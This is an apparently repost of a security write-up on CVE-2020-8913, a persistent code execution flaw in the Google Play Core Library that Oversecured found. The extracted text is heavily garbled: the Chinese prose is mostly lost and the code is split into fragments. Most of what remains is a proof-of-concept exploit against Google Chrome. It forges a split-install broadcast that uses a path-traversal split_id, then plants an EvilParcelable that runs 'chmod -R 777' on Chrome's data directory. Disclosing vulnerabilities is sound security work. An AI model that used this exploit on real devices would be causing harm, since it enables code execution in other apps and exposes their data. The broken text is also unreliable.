[15905] 2020-09-29_挖洞经验GooglePlayCoreLibrary中的代码执行漏洞

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-09-29_挖洞经验GooglePlayCoreLibrary中的代码执行漏洞   |   G o o g l e   P l a y   C o r e   L i b r a r y c l o u d s   F r e e B u f   2 0 2 0 - 0 9 - 2 9 2 O v e r s e c u r e d G o o g l e   P l a y   C o r e   L i b r a r y A P P A P P G o o g l e   P l a y   C o r e   L i b r a r y G o o g l e   A P I A P P O v e r s e c u r e d G o o g l e P l a y   C o r e   L i b r a r y A P P O v e r s e c u r e d A P P G o o g l e   P l a y   C o r e   l i b r a r y

O v e r s e c u r e d O v e r s e c u r e d G o o g l e   C h r o m e   A P P O v e r s e c u r e d G o o g l e   C h r o m e   A p p 1 c o m / g o o g l e / a n d r o i d / p l a y / c o r e / s p l i t i n s t a l l / C 3 7 4 8 l . j a v a 广 b r o a d c a s t   r e c e i v e r a p p 使 A P P s p l i t _ i d 广 b r o a d c a s t   r e c e i v e r c o m / g o o g l e / a n d r o i d / p l a y / c o r e / l i s t e n e r / C 3 7 1 8 a . j a v a 广 c o m / g o o g l e / a n d r o i d / p l a y / c o r e / s p l i t i n s t a l l / S p l i t I n s t a l l S e s s i o n S t a t e . j a v a 2 c o m / g o o g l e / a n d r o i d / p l a y / c o r e / i n t e r n a l / a b . j a v a G o o g l e   P l a y   C o r e   L i b r a r y s p l i t _ i d s p l i t _ f i l e _ i n t e n t s   U R L u n v e r i f i e d - s p l i t s s p l i t _ i d v e r i f i e d - s p l i t s A P P c o n f i g . A P P C l a s s L o a d e r P a r c e l a b l e A P P c r e a t e F r o m P a r c e l P O C O v e r s e c u r e d G o o g l e   C h r o m e   A P P c h m o d   - R   7 7 7   / d a t a / u s e r / 0 / c o m . a n d r o i d . c h r o m e A P P r e c e i v e r G o o g l e   P l a y   C o r e   l i b r a r y 3 r e c e i v e r 便 C l a s s R e s o l v e r 5 E v i l P a r c e l a b l e I n t e n t . h a s E x t r a ( n a m e ) p r i v a t e   C 3 7 4 8 l ( C o n t e x t   c o n t e x t ,   C 3 7 4 1 e   e V a r )   {         s u p e r ( n e w   a e ( " S p l i t I n s t a l l L i s t e n e r R e g i s t r y " ) ,   n e w   I n t e n t F i l t e r ( " c o m . g o o g l e . a n d r o i d . p l a y . c o r e . s p l i t i n s t a l l . r e c e i v e r . S p l i t I n s t a l l U p d a t e I n t e n t S e r v i c e " ) ,   c o n t e x t ) ; p r o t e c t e d   C 3 7 1 8 a ( a e   a e V a r ,   I n t e n t F i l t e r   i n t e n t F i l t e r ,   C o n t e x t   c o n t e x t )   {         t h i s . f 2 2 5 9 5 a   =   a e V a r ;         t h i s . f 2 2 5 9 6 b   =   i n t e n t F i l t e r ;   / /   i n t e n t   f i l t e r   w i t h   a c t i o n   ` c o m . g o o g l e . a n d r o i d . p l a y . c o r e . s p l i t i n s t a l l . r e c e i v e r . S p l i t I n s t a l l U p d a t e I n t e n t S e r v i c e `         t h i s . f 2 2 5 9 7 c   =   c o n t e x t ; } p r i v a t e   f i n a l   v o i d   m 1 5 3 4 7 a ( )   {         i f   ( ( t h i s . f 2 2 6 0 0 f   | |   ! t h i s . f 2 2 5 9 8 d . i s E m p t y ( ) )   & &   t h i s . f 2 2 5 9 9 e   = =   n u l l )   {                 t h i s . f 2 2 5 9 9 e   =   n e w   C 3 7 1 9 b ( t h i s ,   0 ) ;                 t h i s . f 2 2 5 9 7 c . r e g i s t e r R e c e i v e r ( t h i s . f 2 2 5 9 9 e ,   t h i s . f 2 2 5 9 6 b ) ;   / /   r e g i s t r a t i o n   o f   u n p r o t e c t e d   b r o a d c a s t   r e c e i v e r p u b l i c   s t a t i c   S p l i t I n s t a l l S e s s i o n S t a t e   m 1 5 4 0 7 a ( B u n d l e   b u n d l e )   {         r e t u r n   n e w   S p l i t I n s t a l l S e s s i o n S t a t e ( b u n d l e . g e t I n t ( " s e s s i o n _ i d " ) ,   b u n d l e . g e t I n t ( " s t a t u s " ) ,   b u n d l e . g e t I n t ( " e r r o r _ c o d e " ) ,   b u n d l e . g e t L o n g ( " b y t e s _ d o w n l o a d e d " ) ,   b u n d l e . g e t L o n g ( } f o r   ( I n t e n t   n e x t   :   l i s t )   {         S t r i n g   s t r i n g E x t r a   =   n e x t . g e t S t r i n g E x t r a ( " s p l i t _ i d " ) ;         F i l e   a   =   t h i s . f 2 2 5 4 3 b . m o 3 2 0 6 7 a ( s t r i n g E x t r a ) ;   / /   p a t h   t r a v e r s a l   f r o m   ` / d a t a / u s e r / 0 / { p a c k a g e _ n a m e } / f i l e s / s p l i t c o m p a t / { i d } / u n v e r i f i e d - s p l i t s / `         i f   ( ! a . e x i s t s ( )   & &   ! t h i s . f 2 2 5 4 3 b . m o 3 2 0 6 7 b ( s t r i n g E x t r a ) . e x i s t s ( ) )   {                 b u f f e r e d I n p u t S t r e a m   =   n e w   B u f f e r e d I n p u t S t r e a m ( n e w   F i l e I n p u t S t r e a m ( t h i s . f 2 1 8 4 0 a . g e t C o n t e n t R e s o l v e r ( ) . o p e n F i l e D e s c r i p t o r ( n e x t . g e t D a t a ( ) ,   " r " ) . g e t F i l e D e s c r i p t o r ( ) ) ) ;   / /   d a t a   o f   ` s p l i t _ f i l e _ i n t e n t s `   i n t e n t s                 f i l e O u t p u t S t r e a m   =   n e w   F i l e O u t p u t S t r e a m ( a ) ;                 b y t e [ ]   b A r r   =   n e w   b y t e [ 4 0 9 6 ] ;                 w h i l e   ( t r u e )   {                         i n t   r e a d   =   b u f f e r e d I n p u t S t r e a m . r e a d ( b A r r ) ;                         i f   ( r e a d   < =   0 )   {                                 b r e a k ;                         }                               f i l e O u t p u t S t r e a m . w r i t e ( b A r r ,   0 ,   r e a d ) ; p u b l i c   s t a t i c   f i n a l   S t r i n g   A P P   =   " c o m . a n d r o i d . c h r o m e " ; p r o t e c t e d   v o i d   o n C r e a t e ( B u n d l e   s a v e d I n s t a n c e S t a t e )   {         s u p e r . o n C r e a t e ( s a v e d I n s t a n c e S t a t e ) ;         I n t e n t   l a u n c h I n t e n t   =   g e t P a c k a g e M a n a g e r ( ) . g e t L a u n c h I n t e n t F o r P a c k a g e ( A P P ) ;         s t a r t A c t i v i t y ( l a u n c h I n t e n t ) ;         n e w   H a n d l e r ( ) . p o s t D e l a y e d ( ( )   - >   {
8 . 8 G o o g l e   C h r o m e G o o g l e   P l a y   C o r e   L i b r a r y A P P A P P G o o g l e   P l a y   C o r e   l i b r a r y 0 2 / 2 6 / 2 0 2 0   0 2 / 2 7 / 2 0 2 0   0 4 / 0 6 / 2 0 2 0   0 7 / 2 2 / 2 0 2 0   C V E - 2 0 2 0 - 8 9 1 3 h t t p s : / / b l o g . o v e r s e c u r e d . c o m / O v e r s e c u r e d - a u t o m a t i c a l l y - d i s c o v e r s - p e r s i s t e n t - c o d e - e x e c u t i o n - i n - t h e - G o o g l e - P l a y - C o r e - L i b r a r y /         n e w   H a n d l e r ( ) . p o s t D e l a y e d ( ( )   - >   {                 I n t e n t   s p l i t   =   n e w   I n t e n t ( ) ;                 s p l i t . s e t D a t a ( U r i . p a r s e ( " f i l e : / / "   +   g e t A p p l i c a t i o n I n f o ( ) . s o u r c e D i r ) ) ;                 s p l i t . p u t E x t r a ( " s p l i t _ i d " ,   " . . / v e r i f i e d - s p l i t s / c o n f i g . t e s t " ) ;                 B u n d l e   b u n d l e   =   n e w   B u n d l e ( ) ;                 b u n d l e . p u t I n t ( " s t a t u s " ,   3 ) ;                 b u n d l e . p u t P a r c e l a b l e A r r a y L i s t ( " s p l i t _ f i l e _ i n t e n t s " ,   n e w   A r r a y L i s t < P a r c e l a b l e > ( A r r a y s . a s L i s t ( s p l i t ) ) ) ;                 I n t e n t   i n t e n t   =   n e w   I n t e n t ( " c o m . g o o g l e . a n d r o i d . p l a y . c o r e . s p l i t i n s t a l l . r e c e i v e r . S p l i t I n s t a l l U p d a t e I n t e n t S e r v i c e " ) ;                 i n t e n t . s e t P a c k a g e ( A P P ) ;                 i n t e n t . p u t E x t r a ( " s e s s i o n _ s t a t e " ,   b u n d l e ) ;                 s e n d B r o a d c a s t ( i n t e n t ) ;         } ,   3 0 0 0 ) ;         n e w   H a n d l e r ( ) . p o s t D e l a y e d ( ( )   - >   {                 s t a r t A c t i v i t y ( l a u n c h I n t e n t . p u t E x t r a ( " x " ,   n e w   E v i l P a r c e l a b l e ( ) ) ) ;         } ,   5 0 0 0 ) ; } p a c k a g e   o v e r s e c u r e d . p o c ; i m p o r t   a n d r o i d . o s . P a r c e l a b l e ; p u b l i c   c l a s s   E v i l P a r c e l a b l e   i m p l e m e n t s   P a r c e l a b l e   {         p u b l i c   s t a t i c   f i n a l   P a r c e l a b l e . C r e a t o r < E v i l P a r c e l a b l e >   C R E A T O R   =   n e w   P a r c e l a b l e . C r e a t o r < E v i l P a r c e l a b l e > ( )   {                 p u b l i c   E v i l P a r c e l a b l e   c r e a t e F r o m P a r c e l ( a n d r o i d . o s . P a r c e l   p a r c e l )   {                         e x p l o i t ( ) ;                         r e t u r n   n u l l ;                 }                 p u b l i c   E v i l P a r c e l a b l e [ ]   n e w A r r a y ( i n t   i )   {                         e x p l o i t ( ) ;                         r e t u r n   n u l l ;                 }                 p r i v a t e   v o i d   e x p l o i t ( )   {                         t r y   {                                 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c h m o d   - R   7 7 7   / d a t a / u s e r / 0 / "   +   M a i n A c t i v i t y . A P P ) . w a i t F o r ( ) ;                         }                         c a t c h   ( T h r o w a b l e   t h )   {                                 t h r o w   n e w   R u n t i m e E x c e p t i o n ( t h ) ;                         }                 }         } ;         p u b l i c   i n t   d e s c r i b e C o n t e n t s ( )   {   r e t u r n   0 ;   }         p u b l i c   v o i d   w r i t e T o P a r c e l ( a n d r o i d . o s . P a r c e l   p a r c e l ,   i n t   i )   { } }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则